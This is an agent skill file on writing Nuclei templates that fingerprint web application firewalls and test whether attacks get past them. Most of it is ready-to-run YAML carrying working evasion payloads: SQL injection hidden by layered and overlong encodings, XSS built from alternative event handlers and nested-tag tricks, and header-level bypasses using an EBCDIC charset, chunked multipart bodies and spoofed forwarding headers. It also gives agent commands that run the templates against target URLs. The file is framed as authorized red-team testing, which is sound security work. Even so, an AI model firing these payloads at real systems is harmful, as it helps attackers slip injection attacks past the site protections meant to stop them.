<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
---
name: writing-waf-bypass-templates
description: >-
  Write Nuclei templates for detecting and bypassing Web Application
  Firewalls. Covers WAF fingerprinting, encoding-based evasion, payload
  obfuscation, header manipulation, protocol-level tricks, and testing
  WAF rule gaps for common vulnerability classes.
domain: cybersecurity
subdomain: nuclei-templating
tags:
  - nuclei
  - waf
  - bypass
  - evasion
  - firewall
  - templates
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1190"]
---

# Writing WAF Bypass Templates

## Overview

WAF bypass templates detect Web Application Firewalls and test their rule
coverage using encoding tricks, payload obfuscation, and protocol-level
evasion techniques. Good WAF bypass templates first fingerprint the WAF
vendor, then apply vendor-specific evasion techniques to test whether
backend vulnerabilities remain exploitable through the WAF layer.

Mode: `[MODE: RED]` — WAF evasion and security control bypass testing.

## Prerequisites

| Requirement | Details |
|---|---|
| Nuclei v3+ (`nuclei -version`) | Required |
| Understanding of common WAF vendors and their rule sets | Required |
| Authorized test environment with WAF-protected application | Required |

## Key Concepts

### WAF Fingerprinting

```yaml
id: waf-fingerprint-detection

info:
  name: Web Application Firewall Fingerprinting
  author: nerf
  severity: info
  description: |
    Identifies the WAF vendor protecting the target application by
    analyzing response headers, cookies, and block page signatures.
    WAF identification informs bypass strategy selection.
  tags: waf,fingerprint,recon,detection
  metadata:
    max-request: 2

http:
  - raw:
      - |
        GET {{BaseURL}}/ HTTP/1.1
        Host: {{Hostname}}
      - |
        GET {{BaseURL}}/?id=<script>alert(1)</script> HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: or
    matchers:
      - type: word
        part: header
        words:
          - "cf-ray"
          - "cf-cache-status"
        condition: or
        name: cloudflare
      - type: word
        part: header
        words:
          - "x-sucuri-id"
          - "x-sucuri-cache"
        condition: or
        name: sucuri
      - type: word
        part: header
        words:
          - "x-cdn"
          - "akamai"
        condition: or
        name: akamai
      - type: word
        part: body
        words:
          - "aws-waf"
          - "awselb"
        condition: or
        name: aws-waf
    extractors:
      - type: kval
        kval:
          - server
          - x-powered-by
```

### Encoding-Based SQL Injection Bypass

```yaml
id: waf-bypass-sqli-encoding

info:
  name: WAF Bypass — SQL Injection via Encoding
  author: nerf
  severity: high
  description: |
    Tests WAF rule coverage for SQL injection using various encoding
    techniques. Many WAFs fail to decode nested encodings or handle
    unicode normalization, allowing injections to pass through.
  classification:
    cwe-id: CWE-89
  tags: waf,bypass,sqli,encoding
  metadata:
    max-request: 5

http:
  - method: GET
    path:
      - "{{BaseURL}}/search?q=1%27%20OR%201%3D1--"
      - "{{BaseURL}}/search?q=1%252527%2BOR%2B1%253D1--"
      - "{{BaseURL}}/search?q=1%C0%A7+OR+1%3D1--"
      - "{{BaseURL}}/search?q=1'+/*!OR*/+1=1--"
      - "{{BaseURL}}/search?q=1'||'1'='1"
    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        part: body
        words:
          - "blocked"
          - "forbidden"
          - "waf"
          - "security"
        negative: true
      - type: dsl
        dsl:
          - 'len(body) > 500'
```

### XSS WAF Evasion Testing

```yaml
id: waf-bypass-xss-evasion

info:
  name: WAF Bypass — XSS Evasion Techniques
  author: nerf
  severity: medium
  description: |
    Tests WAF XSS filter bypasses using case variation, event handler
    alternatives, and encoding tricks that evade pattern-matching rules.
  classification:
    cwe-id: CWE-79
  tags: waf,bypass,xss,evasion
  metadata:
    max-request: 5

http:
  - method: GET
    path:
      - '{{BaseURL}}/search?q=<svg/onload=alert(1)>'
      - '{{BaseURL}}/search?q=<img src=x onerror=alert(1)>'
      - '{{BaseURL}}/search?q=<details open ontoggle=alert(1)>'
      - '{{BaseURL}}/search?q=<math><mtext><table><mglyph><svg><mtext><textarea><path id=x xmlns=http://www.w3.org/2000/svg><set attributeName=d to="M0 0"/></textarea></mtext></svg></mglyph></table></mtext></math>'
      - '{{BaseURL}}/search?q="><img/src=x oNeRrOr=alert(1)>'
    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "alert(1)"
          - "onerror"
          - "onload"
          - "ontoggle"
        condition: or
      - type: status
        status:
          - 200
      - type: word
        part: body
        words:
          - "blocked"
          - "not acceptable"
        negative: true
```

### Header-Based WAF Bypass

```yaml
id: waf-bypass-header-manipulation

info:
  name: WAF Bypass via Header Manipulation
  author: nerf
  severity: medium
  description: |
    Tests WAF bypass techniques using HTTP header manipulation including
    content-type confusion, transfer-encoding tricks, and custom headers
    that cause the WAF to skip inspection.
  tags: waf,bypass,header,evasion
  metadata:
    max-request: 3

http:
  - raw:
      - |
        POST {{BaseURL}}/search HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=ibm037

        q=%A7%D6%D9%40%F1%7E%F1
      - |
        POST {{BaseURL}}/search HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
        Transfer-Encoding: chunked

        ------WebKitFormBoundary
        Content-Disposition: form-data; name="q"

        ' OR 1=1--
        ------WebKitFormBoundary--
      - |
        GET {{BaseURL}}/search?q=' OR 1=1-- HTTP/1.1
        Host: {{Hostname}}
        X-Originating-IP: 127.0.0.1
        X-Forwarded-For: 127.0.0.1

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: dsl
        dsl:
          - 'len(body) > 200'
      - type: word
        part: body
        words:
          - "blocked"
          - "forbidden"
          - "access denied"
        negative: true
```

## Workflow

### Step 1: Fingerprint the WAF

```bash
node scripts/agent.js --action scan --target https://protected.example.com \
  --template waf-fingerprint.yaml --output /tmp/waf-fingerprint.json
```

### Step 2: Test Bypass Techniques

```bash
node scripts/agent.js --action scan --target https://protected.example.com \
  --template waf-bypass-sqli.yaml --output /tmp/waf-bypass.json
```

### Step 3: Validate No False Positives

```bash
node scripts/agent.js --action scan --target https://unprotected-lab.internal \
  --template waf-bypass-sqli.yaml --output /tmp/waf-verify.json
```

## Verification

- [ ] WAF fingerprinting uses named matchers for vendor identification
- [ ] Encoding bypass tests multiple encoding layers
- [ ] Negative matchers exclude WAF block page responses
- [ ] Header manipulation tests content-type and transfer-encoding tricks
- [ ] XSS evasion uses diverse event handlers and tag combinations
- [ ] `stop-at-first-match` used to stop on first successful bypass
- [ ] All testing authorized and within scope

## References

- [OWASP WAF Bypass Techniques](https://owasp.org/www-community/attacks/WAF_Bypass)
- [Nuclei HTTP Raw Requests](https://docs.projectdiscovery.io/templates/protocols/http/raw-http)
- [WAF Bypass Cheat Sheet](https://github.com/0xInfection/Awesome-WAF)
